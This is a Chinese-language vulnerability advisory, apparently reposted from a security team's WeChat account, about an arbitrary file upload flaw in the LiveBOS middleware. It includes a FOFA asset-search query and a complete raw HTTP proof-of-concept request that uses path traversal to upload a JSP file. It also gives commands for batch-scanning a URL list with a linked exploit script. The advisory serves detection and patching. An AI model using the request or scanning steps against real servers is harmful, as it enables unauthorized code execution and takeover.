fofa
icon_hash="-417091401"
资产页面
一、漏洞简述
LiveBOS（简称LiveBOS）是顶点软件股份有限公司开发的一个对象型业务架构中间件及其集成开发工具。它以业务模型建立为中心，直接完成软件开发的创新软件开发模式。适合于各类基于WEB的专业应用软件与行业大型应用的开发。由三个相对独立的产品构成：运行支持支撑平台 LiveBOS Server；开发集成环境LiveBOS Studio以及运维管理工具LiveBOS Manager。其接口UploadFile.do;.js.jsp存在任意文件上传漏洞，攻击者可通过该漏洞获取系统服务器权限，从而控制该系统
二、漏洞检测poc
POST /feed/UploadFile.do;.js.jsp HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36Content-Type: multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3Content-Length: 343-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3Content-Disposition: form-data; name="file"; filename="//../../../../tmptest.jsp"Content-Type: image/png<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
/tmptest.jsp;.js.jsp
三、漏洞检测脚本
安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：
https://github.com/ATonysan/poc-exp/blob/main/LiveBos_UploadFile_ArbiraryFileUpload.py
批量检测:
python LiveBos_UploadFile_ArbiraryFileUpload.py -f url.txt
单个url检测漏洞:
python LiveBos_UploadFile_ArbiraryFileUpload.py -u url
四、修复
官方已更新补丁，请升级至最新版本。
官网地址：https://www.livebos.com/
原文始发于微信公众号（苏诺木安全团队）：【HW-day】LiveBos UploadFile 任意文件上传漏洞【附poc】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论